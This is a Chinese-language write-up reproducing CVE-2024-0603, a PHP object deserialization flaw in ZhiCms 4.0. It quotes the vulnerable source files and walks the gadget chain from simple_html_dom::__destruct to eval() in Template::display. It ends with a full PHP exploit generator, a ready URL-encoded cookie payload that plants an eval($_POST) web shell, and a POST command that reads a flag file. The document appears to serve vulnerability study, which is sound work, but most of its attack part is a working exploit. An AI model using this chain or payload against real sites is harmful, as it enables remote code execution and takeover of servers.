CVE-2024-0603
源码:https://gitee.com/dazensun/zhicms
开题:
CVE-2024-0603描述:ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化,从而远程发起攻击。该漏洞被公开披露,并可能被利用。此漏洞的相关标识为VDB-250839。
链子就不自己挖了,直接用网上有的,自己复现理解一遍吧。
链子:
simple_html_dom::__destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() ->
Template::display() -> Template::compile()
倒着分析,所有涉及代码如下:
\ZhiCms\base\Template.php
<?php
namespace ZhiCms\base;
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct($config) {
$this->config = $config;
$this->assign('__Template', $this);
$this->label = array(
/**variable label
{$name} => <?php echo $name;?>
{$user['name']} => <?php echo $user['name'];?>
{$user.name} => <?php echo $user['name'];?>
*/
'/{(\\$[a-zA-Z_]\w*(?:\[[\w\.\"\'\[\]\$]+\])*)}/i' => "<?php echo $1; ?>",
'/\$(\w+)\.(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']['\\4']",
'/\$(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']",
'/\$(\w+)\.(\w+)/is' => "\$\\1['\\2']",
/**constance label
{CONSTANCE} => <?php echo CONSTANCE;?>
*/
'/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s' => "<?php echo \\1;?>",
/**msubstr label
{musbstr str="test" min="0" max="20"} msubstr($str, 0, 20);
**/
'/{musbstr\s*str=(\S+)\+min=\"(.*)\"\+max=\"(.*)\"}/i'=>"<?php echo\\1;echo\\2;echo\\3;?>",
/**if label
{if $name==1} => <?php if ($name==1){ ?>
{elseif $name==2} => <?php } elseif ($name==2){ ?>
{else} => <?php } else { ?>
{/if} => <?php } ?>
*/
'/\{if\s+(.+?)\}/' => "<?php if(\\1) { ?>",
'/\{else\}/' => "<?php } else { ?>",
'/\{elseif\s+(.+?)\}/' => "<?php } elseif (\\1) { ?>",
'/\{\/if\}/' => "<?php } ?>",
/**for label
{for $i=0;$i<10;$i++} => <?php for($i=0;$i<10;$i++) { ?>
{/for} => <?php } ?>
*/
'/\{for\s+(.+?)\}/' => "<?php for(\\1) { ?>",
'/\{\/for\}/' => "<?php } ?>",
/**foreach label
{foreach $arr as $vo} => <?php $n=1; if (is_array($arr) foreach($arr as $vo){ ?>
{foreach $arr as $key => $vo} => <?php $n=1; if (is_array($array) foreach($arr as $key => $vo){ ?>
{/foreach} => <?php $n++;}unset($n) ?>
*/
'/\{foreach\s+(\S+)\s+as\s+(\S+)\}/' => "<?php \$n=1;if(is_array(\\1)) foreach(\\1 as \\2) { ?>",
'/\{foreach\s+(\S+)\s+as\s+(\S+)\s*=>\s*(\S+)\}/' => "<?php \$n=1; if(is_array(\\1)) foreach(\\1 as \\2 => \\3) { ?>",
'/\{\/foreach\}/' => "<?php \$n++;}unset(\$n); ?>",
/**function label
{date('Y-m-d H:i:s')} => <?php echo date('Y-m-d H:i:s');?>
{$date('Y-m-d H:i:s')} => <?php echo $date('Y-m-d H:i:s');?>
*/
'/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>",
'/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>",
);
$this->cache = new Cache( $this->config['TPL_CACHE'] );
}
public function assign($name, $value = '') {
if( is_array($name) ){
foreach($name as $k => $v){
$this->vars[$k] = $v;
}
} else {
$this->vars[$name] = $value;
}
}
public function display($tpl = '', $return = false, $isTpl = true ) {
if( $return ){
if ( ob_get_level() ){
ob_end_flush();
flush();
}
ob_start();
}
extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
if( $return ){
$content = ob_get_contents();
ob_end_clean();
return $content;
}
}
public function compile( $tpl, $isTpl = true ) {
if( $isTpl ){
$tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];
if ( !file_exists($tplFile) ) {
throw new \Exception("Template file '{$tplFile}' not found", 500);
}
$tplKey = md5(realpath($tplFile));
} else {
$tplKey = md5($tpl);
}
$ret = unserialize( $this->cache->get( $tplKey ) );
if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {
$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;
if( false === Hook::listen('templateParse', array($template), $template) ){
foreach ($this->label as $key => $value) {
$template = preg_replace($key, $value, $template);
}
}
$ret = array('template'=>$template, 'compile_time'=>time());
$this->cache->set( $tplKey, serialize($ret), 86400*365);
}
return $ret['template'];
}
}
\ZhiCms\base\Cache.php
<?php
namespace ZhiCms\base;
class Cache{
protected $config =array();
protected $cache = 'default';
public $proxyObj=null;
public $proxyExpire=1800;
protected static $objArr = array();
public function __construct( $cache = 'default' ) {
if( $cache ){
$this->cache = $cache;
}
$this->config = Config::get('CACHE.' . $this->cache);
if( empty($this->config) || !isset($this->config['CACHE_TYPE']) ) {
throw new \Exception($this->cache.' cache config error', 500);
}
}
public function __call($method, $args){
if( !isset(self::$objArr[$this->cache]) ){
$cacheDriver = __NAMESPACE__.'\cache\\' . ucfirst( $this->config['CACHE_TYPE'] ).'Driver';
if( !class_exists($cacheDriver) ) {
throw new \Exception("Cache Driver '{$cacheDriver}' not found'", 500);
}
self::$objArr[$this->cache] = new $cacheDriver( $this->config );
}
if( $this->proxyObj ){ //proxy mode
$key = md5( get_class($this->proxyObj) . '_'.$method.'_' . var_export($args) );
$value = self::$objArr[$this->cache]->get($key);
if( false===$value ){
$value = call_user_func_array(array($this->proxyObj, $method), $args);
self::$objArr[$this->cache]->set($key, $value, $this->proxyExpire);
}
return $value;
}else{
return call_user_func_array(array(self::$objArr[$this->cache], $method), $args);
}
}
}
\ZhiCms\ext\simple_html_dom.php
<?php
namespace ZhiCms\ext;
class simple_html_dom_node
{
private $dom = null;
function __toString()
{
return $this->outertext();
}
function outertext()
{
if ($this->dom && $this->dom->callback!==null)
{
call_user_func_array($this->dom->callback, array($this));
}
}
}
class simple_html_dom
{
public $callback = null;
protected $parent;
// .......
function __destruct()
{
$this->clear();
}
// .......
function clear()
{
foreach ($this->nodes as $n) {$n->clear(); $n = null;}
// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
if (isset($this->root)) {$this->root->clear(); unset($this->root);}
unset($this->doc);
unset($this->noise);
}
// .......
}
ZhiCms\base\cache\MemcacheDriver.php
<?php
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct( $config = array() ) {
$this->mmc = new Memcache;
if( empty($config) ) {
$config['MEM_SERVER'] = array(array('127.0.0.1', 11211));
$config['GROUP'] = '';
}
foreach($config['MEM_SERVER'] as $v) {
call_user_func_array(array($this->mmc, 'addServer'), $v);
}
if( isset($config['GROUP']) ){
$this->group = $config['GROUP'];
}
$this->ver = intval( $this->mmc->get($this->group.'_ver') );
}
public function get($key) {
return $this->mmc->get($this->group.'_'.$this->ver.'_'.$key);
}
public function set($key, $value, $expire = 1800) {
return $this->mmc->set($this->group.'_'.$this->ver.'_'.$key, $value, 0, $expire);
}
public function inc($key, $value = 1) {
return $this->mmc->increment($this->group.'_'.$this->ver.'_'.$key, $value);
}
public function des($key, $value = 1) {
return $this->mmc->decrement($this->group.'_'.$this->ver.'_'.$key, $value);
}
public function del($key) {
return $this->mmc->delete($this->group.'_'.$this->ver.'_'.$key);
}
public function clear() {
return $this->mmc->set($this->group.'_ver', $this->ver+1);
}
}
==1、==首先看看链子的最末尾Template::display() -> Template::compile()
在\ZhiCms\base\Template.php
有个eval方法,参数可控就可以导致RCE
构造一下就可以使得eval可控,执行任意命令。构造如下:
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct(){
$this->cache = new Cache;
$this->vars=array("tpl"=>"<?php system('cat /f*');?>","isTpl"=>false);
}
}
2、simple_html_dom_node::outertext() -> Template::display()
代码有点多,是从这里跳过去到Template::display()的
对应部分exp构造如下:
class simple_html_dom_node
{
private $dom = null;
public function __construct(){
$dom = new simple_html_dom("");
$dom->callback=array(new Template(), "display");
$this->dom = $dom;
}
}
3、simple_html_dom_node::__toString() ->simple_html_dom_node::outertext()
直接就能过去
4、MemcacheDriver::clear() ->simple_html_dom_node::__toString()
MemcacheDriver的clear()方法中将$this->group拼接字符串’_ver’,所以可以触发simple_html_dom_node中的__toString()方法
对应部分exp构造如下:
class MemcacheDriver
{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct(){
$this->mmc = new Cache();
$this->group = new simple_html_dom_node;
}
}
5、simple_html_dom::clear() -> MemcacheDriver::clear()
对应部分exp构造:
//.........
namespace ZhiCms\ext;
use ZhiCms\base\cache\MemcacheDriver;
use ZhiCms\base\Template;
use zhicms\base\Cache;
class simple_html_dom
{
protected $parent;
public $callback = null;
public function __construct($obj){
$this->parent = $obj;
}
}
//.........
$step = new MemcacheDriver;
$exp = new simple_html_dom($step);
6、simple_html_dom::__destruct() -> simple_html_dom::clear()
直接就能过去
最终EXP:
<?php
namespace ZhiCms\base{
class Cache{
protected $config =array();
protected $cache = 'default';
public $proxyObj=null;
public $proxyExpire=1800;
public function __construct(){
$this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl");
}
}
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct(){
$this->cache = new Cache;
$this->vars=array("tpl"=>'<?php eval($_POST[1]);?>',"isTpl"=>false);
}
}
}
namespace ZhiCms\base\cache{
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcachedDriver{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct()
{
$this->mmc = new Cache();
$this->group=new simple_html_dom_node();
}
}
}
namespace ZhiCms\ext{
use ZhiCms\base\cache\MemcachedDriver;
use ZhiCms\base\Template;
use ZhiCms\base\Cache;
class simple_html_dom
{
protected $parent;
public $callback;
public function __construct($obj)
{
$this->parent=$obj;
}
}
class simple_html_dom_node{
private $dom = null;
public function __construct()
{
$dom=new simple_html_dom("");
$dom->callback=array(new Template(),"display");
// $dom->callback="phpinfo";
$this->dom=$dom;
}
}
$mem = new MemcachedDriver();
$obj = new simple_html_dom($mem);
echo urlencode(serialize($obj));
}
payload:
GET:?r=plug/gift/mylike
Cookie:mylike=O%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A33%3A%22ZhiCms%5Cbase%5Ccache%5CMemcachedDriver%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00mmc%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7Ds%3A8%3A%22%00%2A%00group%22%3BO%3A31%3A%22ZhiCms%5Cext%5Csimple_html_dom_node%22%3A1%3A%7Bs%3A36%3A%22%00ZhiCms%5Cext%5Csimple_html_dom_node%00dom%22%3BO%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22callback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22ZhiCms%5Cbase%5CTemplate%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00label%22%3BN%3Bs%3A7%3A%22%00%2A%00vars%22%3Ba%3A2%3A%7Bs%3A3%3A%22tpl%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A5%3A%22isTpl%22%3Bb%3A0%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7D%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00ver%22%3Bi%3A0%3B%7Ds%3A8%3A%22callback%22%3BN%3B%7D
POST:1=system('tac /denfjkehfiofleffagww');